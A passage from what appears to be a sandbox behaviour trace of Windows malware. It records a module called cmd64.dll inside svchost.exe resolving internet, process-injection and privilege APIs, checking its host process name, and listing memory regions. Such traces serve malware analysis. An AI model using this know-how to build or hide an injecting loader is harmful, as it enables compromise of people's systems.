lpProcName="RtlComputeCrc32") returned 0x77c5c7b0 [0076.479] GetProcAddress (hModule=0x77c50000, lpProcName="_snprintf") returned 0x77cd8ae0 [0076.479] GetProcAddress (hModule=0x77c50000, lpProcName="memcmp") returned 0x77c9ea60 [0076.479] GetProcAddress (hModule=0x77c50000, lpProcName="__chkstk") returned 0x77ca0dd0 [0076.479] GetProcAddress (hModule=0x77c50000, lpProcName="strncmp") returned 0x77c9fdf0 [0076.479] GetProcAddress (hModule=0x77c50000, lpProcName="atoi") returned 0x77c565e4 [0076.479] GetProcAddress (hModule=0x77c50000, lpProcName="memset") returned 0x77ca2ed0 [0076.479] GetProcAddress (hModule=0x77c50000, lpProcName="memcpy") returned 0x77c9e6d0 [0076.479] GetModuleHandleA (lpModuleName="WININET.dll") returned 0x7fefef80000 [0076.479] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetReadFile") returned 0x7fefef93914 [0076.479] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpQueryInfoW") returned 0x7fefefb4600 [0076.479] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetSetOptionW") returned 0x7fefef8ff20 [0076.480] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetQueryOptionW") returned 0x7fefefa1ab8 [0076.480] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpSendRequestA") returned 0x7fefefff600 [0076.480] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpOpenRequestA") returned 0x7fefefb3910 [0076.480] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetConnectA") returned 0x7fefefb3130 [0076.480] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetOpenA") returned 0x7fefef99098 [0076.480] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetCloseHandle") returned 0x7fefef95594 [0076.480] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetCrackUrlA") returned 0x7fefefe0b4c [0076.480] GetModuleHandleA (lpModuleName="SHLWAPI.dll") returned 0x7feff4f0000 [0076.480] GetProcAddress (hModule=0x7feff4f0000, lpProcName="StrStrIA") returned 0x7feff4f5a1c [0076.480] GetProcAddress (hModule=0x7feff4f0000, lpProcName="SHGetValueA") returned 0x7feff4f4e50 [0076.480] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFindFileNameA") returned 0x7feff4f86c4 [0076.480] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathRemoveBackslashA") returned 0x7feff519e70 [0076.480] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFindExtensionA") returned 0x7feff51b358 [0076.480] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFileExistsA") returned 0x7feff51b4d4 [0076.480] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathAppendA") returned 0x7feff4f5710 [0076.480] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathRemoveFileSpecA") returned 0x7feff51bbb4 [0076.480] GetModuleHandleA (lpModuleName="imagehlp.dll") returned 0x7feffb50000 [0076.481] GetProcAddress (hModule=0x7feffb50000, lpProcName="MapFileAndCheckSumA") returned 0x7feffb556ec [0076.481] GetModuleHandleA (lpModuleName="PSAPI.DLL") returned 0x77e20000 [0076.481] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleFileNameExA") returned 0x77e21268 [0076.481] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x77a30000 [0076.481] GetProcAddress (hModule=0x77a30000, lpProcName="CreateFileA") returned 0x77a531f0 [0076.481] GetProcAddress (hModule=0x77a30000, lpProcName="SystemTimeToFileTime") returned 0x77a53560 [0076.481] GetProcAddress (hModule=0x77a30000, lpProcName="GetVersionExA") returned 0x77a470c0 [0076.481] GetProcAddress (hModule=0x77a30000, lpProcName="GetLocaleInfoA") returned 0x77a40210 [0076.481] GetProcAddress (hModule=0x77a30000, lpProcName="GetWindowsDirectoryA") returned 0x77a7bfb0 [0076.481] GetProcAddress (hModule=0x77a30000, lpProcName="GetTickCount") returned 0x77a52b00 [0076.481] GetProcAddress (hModule=0x77a30000, lpProcName="GetCommandLineA") returned 0x77a51e70 [0076.481] GetProcAddress (hModule=0x77a30000, lpProcName="SetUnhandledExceptionFilter") returned 0x77a49b70 [0076.481] GetProcAddress (hModule=0x77a30000, lpProcName="LocalFree") returned 0x77a447a0 [0076.481] GetProcAddress (hModule=0x77a30000, lpProcName="SetWaitableTimer") returned 0x77a38890 [0076.481] GetProcAddress (hModule=0x77a30000, lpProcName="CreateWaitableTimerA") returned 0x77a90da0 [0076.481] GetProcAddress (hModule=0x77a30000, lpProcName="CreateThread") returned 0x77a46580 [0076.481] GetProcAddress (hModule=0x77a30000, lpProcName="CopyFileA") returned 0x77ac5620 [0076.482] GetProcAddress (hModule=0x77a30000, lpProcName="UnmapViewOfFile") returned 0x77a53580 [0076.482] GetProcAddress (hModule=0x77a30000, lpProcName="MapViewOfFile") returned 0x77a3e390 [0076.482] GetProcAddress (hModule=0x77a30000, lpProcName="CreateFileMappingA") returned 0x77a3ead0 [0076.482] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleHandleA") returned 0x77a465e0 [0076.482] GetProcAddress (hModule=0x77a30000, lpProcName="RemoveDirectoryA") returned 0x77a7bdb0 [0076.482] GetProcAddress (hModule=0x77a30000, lpProcName="DeleteFileA") returned 0x77a414e0 [0076.482] GetProcAddress (hModule=0x77a30000, lpProcName="CreateDirectoryA") returned 0x77a7c5b0 [0076.482] GetProcAddress (hModule=0x77a30000, lpProcName="GetTempPathA") returned 0x77a92060 [0076.482] GetProcAddress (hModule=0x77a30000, lpProcName="ExitProcess") returned 0x77c740f0 [0076.482] GetProcAddress (hModule=0x77a30000, lpProcName="GetSystemTimeAsFileTime") returned 0x77a43f40 [0076.482] GetProcAddress (hModule=0x77a30000, lpProcName="LoadLibraryA") returned 0x77a47070 [0076.482] GetProcAddress (hModule=0x77a30000, lpProcName="OpenProcess") returned 0x77a4cad0 [0076.482] GetProcAddress (hModule=0x77a30000, lpProcName="OpenMutexA") returned 0x77a32ce0 [0076.482] GetProcAddress (hModule=0x77a30000, lpProcName="GetSystemInfo") returned 0x77a46f70 [0076.482] GetProcAddress (hModule=0x77a30000, lpProcName="QueueUserWorkItem") returned 0x77a41370 [0076.482] GetProcAddress (hModule=0x77a30000, lpProcName="Sleep") returned 0x77a52b70 [0076.482] GetProcAddress (hModule=0x77a30000, lpProcName="TerminateProcess") returned 0x77a7bca0 [0076.483] GetProcAddress (hModule=0x77a30000, lpProcName="ResumeThread") returned 0x77a413a0 [0076.483] GetProcAddress (hModule=0x77a30000, lpProcName="Wow64SetThreadContext") returned 0x77a7af70 [0076.483] GetProcAddress (hModule=0x77a30000, lpProcName="Wow64GetThreadContext") returned 0x77a7afa0 [0076.483] GetProcAddress (hModule=0x77a30000, lpProcName="WriteProcessMemory") returned 0x77a7bad0 [0076.483] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualAllocEx") returned 0x77a7bbd0 [0076.483] GetProcAddress (hModule=0x77a30000, lpProcName="CreateProcessA") returned 0x77ac8840 [0076.483] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleFileNameA") returned 0x77a464a0 [0076.483] GetProcAddress (hModule=0x77a30000, lpProcName="LeaveCriticalSection") returned 0x77ca3000 [0076.483] GetProcAddress (hModule=0x77a30000, lpProcName="EnterCriticalSection") returned 0x77ca2fc0 [0076.483] GetProcAddress (hModule=0x77a30000, lpProcName="HeapCreate") returned 0x77a470e0 [0076.483] GetProcAddress (hModule=0x77a30000, lpProcName="HeapDestroy") returned 0x77a41490 [0076.483] GetProcAddress (hModule=0x77a30000, lpProcName="HeapAlloc") returned 0x77ca33a0 [0076.483] GetProcAddress (hModule=0x77a30000, lpProcName="HeapReAlloc") returned 0x77c83f20 [0076.483] GetProcAddress (hModule=0x77a30000, lpProcName="HeapFree") returned 0x77a53070 [0076.483] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualAlloc") returned 0x77a467a0 [0076.483] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualFree") returned 0x77a41260 [0076.483] GetProcAddress (hModule=0x77a30000, lpProcName="GetProcAddress") returned 0x77a53690 [0076.483] GetProcAddress (hModule=0x77a30000, lpProcName="CreateMutexA") returned 0x77a47210 [0076.484] GetProcAddress (hModule=0x77a30000, lpProcName="GetLastError") returned 0x77a52dd0 [0076.484] GetProcAddress (hModule=0x77a30000, lpProcName="WaitForSingleObject") returned 0x77a52b20 [0076.484] GetProcAddress (hModule=0x77a30000, lpProcName="ReleaseMutex") returned 0x77a52b90 [0076.484] GetProcAddress (hModule=0x77a30000, lpProcName="WritePrivateProfileStringA") returned 0x77ab16b0 [0076.484] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileStringA") returned 0x77ab1720 [0076.484] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileIntA") returned 0x77ab18b0 [0076.484] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileSectionA") returned 0x77ab1600 [0076.484] GetProcAddress (hModule=0x77a30000, lpProcName="InitializeCriticalSection") returned 0x77c78100 [0076.484] GetProcAddress (hModule=0x77a30000, lpProcName="GetFileSize") returned 0x77a3f9d0 [0076.484] GetProcAddress (hModule=0x77a30000, lpProcName="CloseHandle") returned 0x77a52f80 [0076.484] GetProcAddress (hModule=0x77a30000, lpProcName="ReadFile") returned 0x77a41500 [0076.484] GetProcAddress (hModule=0x77a30000, lpProcName="WriteFile") returned 0x77a535a0 [0076.484] GetProcAddress (hModule=0x77a30000, lpProcName="SetEndOfFile") returned 0x77a7bd70 [0076.484] GetProcAddress (hModule=0x77a30000, lpProcName="FlushFileBuffers") returned 0x77a369f0 [0076.484] GetModuleHandleA (lpModuleName="ADVAPI32.dll") returned 0x7fefed20000 [0076.484] GetProcAddress (hModule=0x7fefed20000, lpProcName="ConvertStringSecurityDescriptorToSecurityDescriptorW") returned 0x7fefed32040 [0076.484] GetProcAddress (hModule=0x7fefed20000, lpProcName="SetSecurityInfo") returned 0x7fefed28420 [0076.485] GetProcAddress (hModule=0x7fefed20000, lpProcName="GetSecurityDescriptorSacl") returned 0x7fefed31e00 [0076.485] GetProcAddress (hModule=0x7fefed20000, lpProcName="CreateProcessAsUserA") returned 0x7fefed6a1a0 [0076.485] GetProcAddress (hModule=0x7fefed20000, lpProcName="AdjustTokenPrivileges") returned 0x7fefed3b9b0 [0076.485] GetProcAddress (hModule=0x7fefed20000, lpProcName="LookupPrivilegeValueA") returned 0x7fefed21a00 [0076.485] GetProcAddress (hModule=0x7fefed20000, lpProcName="OpenProcessToken") returned 0x7fefed3bd70 [0076.485] GetModuleHandleA (lpModuleName="USER32.dll") returned 0x77b50000 [0076.485] GetProcAddress (hModule=0x77b50000, lpProcName="ExitWindowsEx") returned 0x77ba14e0 [0076.485] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x7feff940000 [0076.485] GetProcAddress (hModule=0x7feff940000, lpProcName="CoCreateInstance") returned 0x7feff967490 [0076.487] PathRemoveFileSpecA (in: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c") returned 1 [0076.487] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x1e310, nSize=0x3ff | out: lpFilename="C:\\Windows\\system32\\svchost.exe") returned 0x1f [0076.487] PathFindFileNameA (pszPath="C:\\Windows\\system32\\svchost.exe") returned="svchost.exe" [0076.487] GetCommandLineA () returned="C:\\Windows\\system32\\svchost.exe -k DcomLaunch" [0076.487] _strcmpi (_Str1="svchost.exe", _Str2="svchost.exe") returned 0 [0076.487] StrStrIA (lpFirst="C:\\Windows\\system32\\svchost.exe -k DcomLaunch", lpSrch="netsvcs") returned 0x0 [0076.492] StrStrIA (lpFirst="svchost.exe", lpSrch="wermgr.exe") returned 0x0 [0076.492] HeapDestroy (hHeap=0xf60000) returned 1 Thread: id = 116 os_tid = 0x25c [0086.892] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dllhost.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0090.508] IdePortDispatchPnp () returned 0x0 [0099.075] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wintrust.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 117 os_tid = 0x260 [0116.700] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dllhost.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 118 os_tid = 0x264 [0076.515] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\umpnpmgr.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0076.521] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\SPInf.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0076.529] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\devrtl.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0076.596] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\RpcRtRemote.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0076.603] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\userenv.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0076.609] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\profapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0076.632] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\gpapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 119 os_tid = 0x268 Thread: id = 120 os_tid = 0x26c [0076.731] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptbase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 121 os_tid = 0x270 Thread: id = 122 os_tid = 0x274 Thread: id = 124 os_tid = 0x278 [0076.766] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\umpo.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0076.772] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\winsta.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0076.773] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\setupapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0076.777] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cfgmgr32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0076.780] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\devobj.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0076.785] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\pcwum.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.188] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\powrprof.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.212] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\powrprof.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.215] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\powrprof.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.217] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\powrprof.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.219] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\powrprof.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.222] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\powrprof.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.224] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\powrprof.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.226] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\powrprof.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.233] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\powrprof.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.238] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\powrprof.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.240] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\powrprof.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0106.174] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ntmarta.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0106.174] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\Wldap32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0106.640] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wbem\\WmiDcPrv.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0106.656] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wbem\\fastprox.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0106.662] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wbemcomn.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0106.663] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ws2_32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0106.663] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\nsi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0106.666] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ntdsapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0107.030] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wbem\\wbemprox.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0107.061] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptsp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0107.094] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rsaenh.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0107.504] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wbem\\wbemsvc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.831] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wbem\\wmiutils.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 127 os_tid = 0x27c Thread: id = 128 os_tid = 0x280 Thread: id = 129 os_tid = 0x284 Thread: id = 132 os_tid = 0x290 [0077.430] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rpcss.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.436] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sspicli.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.500] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptsp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.504] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\credssp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 134 os_tid = 0x29c Thread: id = 135 os_tid = 0x2a0 Thread: id = 136 os_tid = 0x2a4 Thread: id = 171 os_tid = 0x334 [0085.344] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\clbcatq.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.989] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wtsapi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.477] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dllhost.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0099.086] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88004088000 [0099.086] IdePortDispatch () returned 0x103 Thread: id = 442 os_tid = 0x71c Thread: id = 443 os_tid = 0x720 Thread: id = 454 os_tid = 0x74c Process: id = "15" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x12df7000" os_pid = "0x294" monitor_reason = "child_process" parent_id = "11" os_parent_pid = "0x1d4" cmd_line = "C:\\Windows\\system32\\svchost.exe -k RPCSS" cur_dir = "C:\\Windows\\system32\\" Region: id = 931 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 932 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 933 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 934 start_va = 0x190000 end_va = 0x20ffff entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 935 start_va = 0x77c50000 end_va = 0x77df8fff entry_point = 0x77c50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" Region: id = 936 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 937 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 938 start_va = 0xff1c0000 end_va = 0xff1cafff entry_point = 0xff1c246c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" Region: id = 939 start_va = 0x7fefff70000 end_va = 0x7fefff70fff entry_point = 0x7fefff70000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" Region: id = 940 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 941 start_va = 0x7fffffdd000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 942 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 947 start_va = 0x10000 end_va = 0x23fff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 948 start_va = 0x50000 end_va = 0x50fff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 949 start_va = 0x300000 end_va = 0x3fffff entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 950 start_va = 0x77a30000 end_va = 0x77b4efff entry_point = 0x77a45ea0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" Region: id = 951 start_va = 0x7fefde00000 end_va = 0x7fefde6afff entry_point = 0x7fefde030e0 region_type = mapped_file name = "KernelBase.dll" filename = "\\Windows\\System32\\KernelBase.dll" Region: id = 952 start_va = 0x60000 end_va = 0x6ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 953 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" Region: id = 954 start_va = 0x400000 end_va = 0x4fffff entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 955 start_va = 0x5e0000 end_va = 0x5effff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 956 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 957 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 958 start_va = 0x7fefed00000 end_va = 0x7fefed1efff entry_point = 0x7fefed060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" Region: id = 959 start_va = 0x7feffc40000 end_va = 0x7feffcdefff entry_point = 0x7feffc425a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" Region: id = 960 start_va = 0x7feffd20000 end_va = 0x7feffe4cfff entry_point = 0x7feffd6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" Region: id = 961 start_va = 0xe0000 end_va = 0xe6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 962 start_va = 0xf0000 end_va = 0xf1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 963 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 964 start_va = 0x110000 end_va = 0x110fff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 965 start_va = 0x210000 end_va = 0x2cffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000210000" filename = "" Region: id = 966 start_va = 0x5f0000 end_va = 0x777fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005f0000" filename = "" Region: id = 967 start_va = 0x780000 end_va = 0x900fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000780000" filename = "" Region: id = 968 start_va = 0x910000 end_va = 0xd02fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000910000" filename = "" Region: id = 969 start_va = 0x77b50000 end_va = 0x77c49fff entry_point = 0x77b6a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" Region: id = 970 start_va = 0x7fefdc40000 end_va = 0x7fefdc4efff entry_point = 0x7fefdc41020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" Region: id = 971 start_va = 0x7fefdc50000 end_va = 0x7fefddb6fff entry_point = 0x7fefdc510c0 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" Region: id = 972 start_va = 0x7fefed20000 end_va = 0x7fefedfafff entry_point = 0x7fefed40760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" Region: id = 973 start_va = 0x7fefee00000 end_va = 0x7fefef77fff entry_point = 0x7fefee010e0 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" Region: id = 974 start_va = 0x7fefef80000 end_va = 0x7feff0a9fff entry_point = 0x7fefef810d4 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" Region: id = 975 start_va = 0x7feff1d0000 end_va = 0x7feff1ddfff entry_point = 0x7feff1d1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" Region: id = 976 start_va = 0x7feff230000 end_va = 0x7feff306fff entry_point = 0x7feff233274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" Region: id = 977 start_va = 0x7feff4f0000 end_va = 0x7feff560fff entry_point = 0x7feff501e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" Region: id = 978 start_va = 0x7feff610000 end_va = 0x7feff676fff entry_point = 0x7feff61b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" Region: id = 979 start_va = 0x7feff6e0000 end_va = 0x7feff938fff entry_point = 0x7feff6e1340 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" Region: id = 980 start_va = 0x7feff940000 end_va = 0x7feffb42fff entry_point = 0x7feff963330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" Region: id = 981 start_va = 0x7feffb70000 end_va = 0x7feffc38fff entry_point = 0x7feffbea874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" Region: id = 982 start_va = 0x7feffcf0000 end_va = 0x7feffd1dfff entry_point = 0x7feffcf1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" Region: id = 983 start_va = 0x7feffe50000 end_va = 0x7fefff58fff entry_point = 0x7feffe51064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" Region: id = 984 start_va = 0x520000 end_va = 0x59ffff entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 985 start_va = 0x7feffb50000 end_va = 